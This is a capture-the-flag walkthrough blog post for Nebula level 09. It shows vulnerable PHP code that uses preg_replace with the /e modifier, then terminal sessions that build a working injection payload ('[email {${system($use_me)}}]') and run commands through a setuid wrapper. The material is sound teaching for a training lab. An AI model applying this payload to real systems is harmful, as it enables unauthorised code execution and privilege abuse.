Post

Exploit Exercises: Nebula Level 09

Image of Nebula Terminal

There’s a C setuid wrapper for some vulnerable PHP code… To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.

Source code

(level9.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Solution

Contents of the flag09 user account home folder:

1
2
3
4
5
6
7
8
9
10
11
level09@nebula:~$ cd /home/flag09/
level09@nebula:/home/flag09$ ls -al
total 13
drwxr-x--- 2 flag09 level09   98 Nov 20  2011 .
drwxr-xr-x 1 root   root      80 Aug 27  2012 ..
-rw-r--r-- 1 flag09 flag09   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag09 flag09  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag09 flag09   675 May 18  2011 .profile
-rwsr-x--- 1 flag09 level09 7240 Nov 20  2011 flag09
-rw-r--r-- 1 root   root     491 Nov 20  2011 flag09.php
level09@nebula:/home/flag09$

Now let’s take a peek into those files!

flag09:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
level09@nebula:/home/flag09$ file flag09
flag09: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level09@nebula:/home/flag09$ ./flag09
PHP Notice:  Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13
level09@nebula:/home/flag09$
flag09.php:
level09@nebula:/home/flag09$ cat flag09.php
<?php

function spam($email)
{
	$email = preg_replace("/\./", " dot ", $email);
	$email = preg_replace("/@/", " AT ", $email);

	return $email;
}

function markup($filename, $use_me)
{
	$contents = file_get_contents($filename);

	$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
	$contents = preg_replace("/\[/", "<", $contents);
	$contents = preg_replace("/\]/", ">", $contents);

	return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>
level09@nebula:/home/flag09$

Hmmmm,

1
2
3
PHP Notice:  Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13

We have 2 notices and one warning. According to the “C setuid wrapper for some vulnerable PHP code” description, and to the file_get_contents() PHP function, we must provide a file to our ELF, which is the C setuid wrapper around our PHP code.

OK, fine, but how do we get the “getflag” command executed as the level09 user???

Well, on the line "$contents = preg_replace("/(email(.∗)email(.∗))/e", "spam(\"\\2\")", $contents);" you will observe a preg_replace with the /e modifier, which leads to Arbitrary Code Execution.

Wondering how the hell I know that? Well, here is the most resourceful link on the internet for exploitable PHP functions: https://stackoverflow.com/questions/3115559/exploitable-php-functions Enjoy.

Now let’s inject something. On the line "$output = markup($argv[1], $argv[2]);" we can observe that we call the function markup with 2 different arguments.

1
2
3
4
5
6
7
8
9
10
function markup($filename, $use_me)
{
	$contents = file_get_contents($filename);

	$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
	$contents = preg_replace("/\[/", "<", $contents);
	$contents = preg_replace("/\]/", ">", $contents);

	return $contents;
}

Now, by taking a look at the markup function above, we can observe that the first argument will be our attack vector. Furthermore, $use_me is useless, but it must still be used!

Let’s begin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
level09@nebula:/home/flag09$ echo "[email test@test.test]" > /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email test@test.test]
level09@nebula:/home/flag09$
First excution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
test AT test dot test
⇒ Expected result…​ NOT GOOD!
level09@nebula:/home/flag09$ echo "[email phpinfo()]" > /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email phpinfo()]
level09@nebula:/home/flag09$
Second execution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
phpinfo()
level09@nebula:/home/flag09$

⇒ Hmm, we are getting there!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${phpinfo()}}]
level09@nebula:/home/flag09$
Third execution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
phpinfo()
PHP Version => 5.3.6-13ubuntu3.2

System => Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686
Build Date => Oct 13 2011 23:17:32
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php5/cli

<sniiiiiiiiiiiiiiiiiiiiiiiiip of large output>

level09@nebula:/home/flag09$

⇒ Gentlemen, we have achieved Arbitrary Code Execution of a PHP function.

WOW, WOW, wait a second! We have only executed a PHP function, using a C setuid wrapper around some vulnerable PHP code. But instead of executing a PHP function, we need to execute a Linux system command (getflag) as the user level09. Fun time. Check the setuid permission.

1
2
3
4
5
6
7
8
9
10
level09@nebula:/home/flag09$ ls -al
total 13
drwxr-x--- 2 flag09 level09   98 Nov 20  2011 .
drwxr-xr-x 1 root   root      80 Aug 27  2012 ..
-rw-r--r-- 1 flag09 flag09   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag09 flag09  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag09 flag09   675 May 18  2011 .profile
-rwsr-x--- 1 flag09 level09 7240 Nov 20  2011 flag09
-rw-r--r-- 1 root   root     491 Nov 20  2011 flag09.php
level09@nebula:/home/flag09$

Perfect — using setuid on the flag09 ELF, we can get our commands executed as level09. But how do we run a Linux system command? Weeeeellll, by using another PHP function (daaaah lol). Fourth execution!

1
2
3
4
5
6
7
8
9
level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${shell_exec("ls -lart");}}]

level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
PHP Parse error:  syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error:  preg_replace(): Failed evaluating code:
spam("{${shell_exec(\"ls -lart\");}}") in /home/flag09/flag09.php on line 15
level09@nebula:/home/flag09$

⇒ FAIL! We cannot escape the “" in order to execute a proper command. ⇒ Small trick for you guys.

1
2
3
4
5
6
7
8
level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${system($use_me)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
sh: sexy_pussycat: command not found
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1

level09@nebula:/home/flag09$

Apparently we do not have a system command called “sexy_pussycat”, sad day…​ But for the grand finale:

1
2
3
4
5
level09@nebula:/home/flag09$ ./flag09 /tmp/test getflag
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

level09@nebula:/home/flag09$

Well done! At this point you have finished 50% of Nebula from Exploit Exercises. Share, subscribe and ask questions!

This post is licensed under CC BY 4.0 by the author.